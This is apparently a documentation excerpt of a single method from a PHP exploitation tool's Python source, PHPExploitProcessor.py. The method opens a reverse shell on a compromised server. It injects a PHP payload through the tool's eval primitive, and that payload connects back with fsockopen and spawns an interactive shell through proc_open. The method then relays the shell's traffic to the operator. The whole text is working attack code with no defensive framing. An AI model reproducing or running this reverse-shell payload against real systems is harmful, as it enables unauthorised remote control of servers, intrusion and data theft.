Method _Base__reverse_shell

src/PHPExploitProcessor.py:301–346

(self, options)

    @param options ip, target shell, and optionally, the port, space seperated.
    """
    def _Base__reverse_shell(self, options):
        if len(options) == 0:
            raise CommandException("No must give a host. "
                                   "Check help for usage.")

        ip = options
        port = 5000
        if len(options.split(" ")) > 1:
            ip, port = options.split(" ", 1)
            
        listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        listener.bind((ip, port))
        listener.listen(1)
        conn: socket.socket = None

        send_thread: threading.Thread = None

        stopped = [False]  # there's probably a more efficient way to do this
        stopped_lock: threading.Lock = threading.Lock()
        try:
            self.__eval(f"$s=fsockopen(\"{ip}\",{port});"
                        "proc_open(\"$0 -i\",array(0=>$s,1=>$s,2=>$s),$p);")
            conn = listener.accept()[0]
            send_thread = threading.Thread(target = send_loop,
                                           args = [conn,
                                                   stopped,
                                                   stopped_lock])
            send_thread.start()
            while True:
                ans = conn.recv(1024 * 64)
                if not ans or ans == 'killsrv':
                    conn.close()
                    break
                sys.stdout.write(ans.decode())
                sys.stdout.flush()
        except Exception as e:
            print(str(e))
        finally:
            listener.close()
            stopped_lock.acquire()
            stopped[0] = True
            stopped_lock.release()
            print("Connection closed.")
            print("Press ENTER to return to the exploit shell.")
            if send_thread and send_thread.is_alive():
                send_thread.join()